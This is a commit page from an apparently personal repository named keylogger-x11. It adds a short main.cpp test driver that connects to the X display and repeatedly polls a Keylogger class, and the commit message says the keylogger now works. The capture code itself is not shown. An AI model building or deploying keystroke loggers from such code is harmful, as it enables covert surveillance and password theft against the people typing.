summaryrefslogtreecommitdiffstats
path: root/srcs/main.cpp
diff options
context:
space:
mode:
authorVianney Bouchaud <vianney@bouchaud.org>2011-10-26 15:05:27 +0200
committerVianney Bouchaud <vianney@bouchaud.org>2011-10-26 15:05:27 +0200
commit3fd99fe07f663d4b3c7aff72a81b9c7bce32e1b3 (patch)
tree8b685b768b29b393626d542fff9a8d5b24e38b20 /srcs/main.cpp
parent4e9e3f077123726d19b11784721790704f01c45d (diff)
downloadkeylogger-x11-3fd99fe07f663d4b3c7aff72a81b9c7bce32e1b3.tar.gz
keylogger-x11-3fd99fe07f663d4b3c7aff72a81b9c7bce32e1b3.tar.xz
Editing class Keylogger to provide a display on terminal, adding a main for test and a Makefile. Keylogger now works.
new file: Makefile modified: includes/Keylogger.hpp modified: srcs/Keylogger.cpp new file: srcs/main.cpp
Diffstat (limited to 'srcs/main.cpp')
-rw-r--r--srcs/main.cpp26
1 files changed, 26 insertions, 0 deletions
diff --git a/srcs/main.cpp b/srcs/main.cpp
new file mode 100644
index 0000000..492c147
--- /dev/null
+++ b/srcs/main.cpp
@@ -0,0 +1,26 @@
+//
+// main.cpp for keylogger testing in /home/vianney
+//
+// Made by Vianney Bouchaud
+// Login <vianney@bouchaud.org>
+//
+// Started on Wed Oct 26 13:53:06 2011 Vianney Bouchaud
+// Last update Wed Oct 26 15:00:57 2011 Vianney Bouchaud
+//
+
+#include <string>
+#include "Keylogger.hpp"
+
+int main(void)
+{
+ Keylogger K;
+
+ if(K.xConnect(":0")) {
+ K.start();
+ while (1) {
+ K.processData();
+ usleep(1000000/3);
+ }
+ }
+ return 0;
+}